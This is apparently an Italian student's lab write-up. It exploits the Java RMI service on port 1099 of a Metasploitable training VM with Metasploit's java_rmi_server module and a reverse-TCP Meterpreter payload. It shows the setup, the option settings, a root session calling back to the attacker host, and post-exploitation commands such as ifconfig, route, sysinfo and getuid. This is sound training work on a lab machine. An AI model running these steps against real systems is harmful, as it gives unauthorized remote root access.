

### Traccia:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

-La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111

-La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112-Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:

- 1) configurazione di rete;
- 2) informazioni sulla tabella di routing della macchina vittima
- 3) altro...

1. Ho impostato il nuovo indirizzo IP di kali.

```
File Actions Edit View Help
(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 fe80::a00:27ff:feeb:7ef5 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:cb:7e:f5 txqueuelen 1000 (Ethernet)
    RX packets 65 bytes 7817 (7.6 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 19 bytes 2634 (2.5 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth1: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
    ether 08:00:27:e1:f8:99 txqueuelen 1000 (Ethernet)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 4 bytes 240 (240.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 4 bytes 240 (240.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

(kali@kali)-[~]
$
```

2. Ho impostato il nuovo indirizzo IP su Metasploitable.

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:18:5c:9a
          inet addr:192.168.11.112  Bcast:192.168.11.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe18:5c9a/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:67 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:4878 (4.7 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:113 errors:0 dropped:0 overruns:0 frame:0
          TX packets:113 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:23109 (22.5 KB)  TX bytes:23109 (22.5 KB)

msfadmin@metasploitable:~$ _
```

3. Ho verificato che Kali pingasse Metasploitable

```
(kali㉿kali)-[~]
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=0.886 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.633 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.708 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=0.570 ms
^C
— 192.168.11.112 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3018ms
rtt min/avg/max/mdev = 0.570/0.699/0.886/0.118 ms

(kali㉿kali)-[~]
$
```

4. Avvio Metasploit e sfruttando la vulnerabilità sulla Porta 1099 Java RMI, cerco l'exploit interessato.

```
msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  auxiliary/gather/java_rmi_registry        2011-10-15      normal No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes    Java RMI Server Insecure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal No     Java RMI Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl
```

5. Utilizzo il Numero 1: default configuration code execution, il più utile allo scopo.

```
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
-      -
HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS    127.0.0.1       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099            yes       The target port (TCP)
SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080            yes       The local port to listen on.
SSL       false           no        Negotiate SSL for incoming connections
SSLCert   nil             no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   nil             no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
-      -
LHOST     127.0.0.1       yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port
```

6. Imposto il parametro RHOSTS con l'indirizzo della macchina target, ed il parametro LHOST con l'indirizzo della macchina attaccante.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set LHOSTS 192.168.11.111
[!] Unknown datastore option: LHOSTS. Did you mean LHOST?
LHOSTS => 192.168.11.111
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.11.111
LHOST => 192.168.11.111
msf6 exploit(multi/misc/java_rmi_server) >
```

7. Lancio l'attacco. Mi aspetto di ricevere, se l'attacco fa a buon fine, una shell di Meterpreter.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/cLmajW7Kq0iI
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:38657) at 2024-02-22 20:42:51 +0100

meterpreter > 
```

8. Informazioni richieste:

```
meterpreter > ifconfig

Interface 1
=====
Name           : lo - lo
Hardware MAC   : 00:00:00:00:00:00
IPv4 Address  : 127.0.0.1
IPv4 Netmask   : 255.0.0.0
IPv6 Address   : ::1
IPv6 Netmask   : ::

Interface 2
=====
Name           : eth0 - eth0
Hardware MAC   : 00:00:00:00:00:00
IPv4 Address   : 192.168.11.112
IPv4 Netmask   : 255.255.255.0
IPv6 Address   : fe80::a00:27ff:fe18:5c9a
IPv6 Netmask   : ::

meterpreter > 
```

meterpreter > route

IPv4 network routes

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

IPv6 network routes

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe18:5c9a	::	::		

meterpreter >

meterpreter > sysinfo

Computer : metasploitable  
OS : Linux 2.6.24-16-server (i386)  
Architecture : x86  
System Language : en\_US  
Meterpreter : java/linux

meterpreter >



```
meterpreter > getuid
Server username: root
meterpreter > █
```

```
/
meterpreter > ls
Listing: /
```

Mode	Size	Type	Last modified	Name
040666/rw-rw-rw-	4096	dir	2012-05-14 05:35:33 +0200	bin
040666/rw-rw-rw-	1024	dir	2012-05-14 05:36:28 +0200	boot
040666/rw-rw-rw-	4096	dir	2010-03-16 23:55:51 +0100	cdrom
040666/rw-rw-rw-	13480	dir	2024-02-22 20:13:08 +0100	dev
040666/rw-rw-rw-	4096	dir	2024-02-22 20:13:16 +0100	etc
040666/rw-rw-rw-	4096	dir	2010-04-16 08:16:02 +0200	home
040666/rw-rw-rw-	4096	dir	2010-03-16 23:57:40 +0100	initrd
100666/rw-rw-rw-	7929183	fil	2012-05-14 05:35:56 +0200	initrd.img
040666/rw-rw-rw-	4096	dir	2012-05-14 05:35:22 +0200	lib
040666/rw-rw-rw-	16384	dir	2010-03-16 23:55:15 +0100	lost+found
040666/rw-rw-rw-	4096	dir	2010-03-16 23:55:52 +0100	media
040666/rw-rw-rw-	4096	dir	2010-04-28 22:16:56 +0200	mnt
100666/rw-rw-rw-	35382	fil	2024-02-22 20:13:38 +0100	nohup.out
040666/rw-rw-rw-	4096	dir	2010-03-16 23:57:39 +0100	opt
040666/rw-rw-rw-	0	dir	2024-02-22 20:12:48 +0100	proc
040666/rw-rw-rw-	4096	dir	2024-02-22 20:13:38 +0100	root
040666/rw-rw-rw-	4096	dir	2012-05-14 03:54:53 +0200	sbin
040666/rw-rw-rw-	4096	dir	2010-03-16 23:57:38 +0100	srv
040666/rw-rw-rw-	0	dir	2024-02-22 20:12:50 +0100	sys
040666/rw-rw-rw-	4096	dir	2024-02-22 20:42:49 +0100	tmp
040666/rw-rw-rw-	4096	dir	2010-04-28 06:06:37 +0200	usr
040666/rw-rw-rw-	4096	dir	2010-03-17 15:08:23 +0100	var
100666/rw-rw-rw-	1987288	fil	2008-04-10 18:55:41 +0200	vmlinuz

```
meterpreter > █
```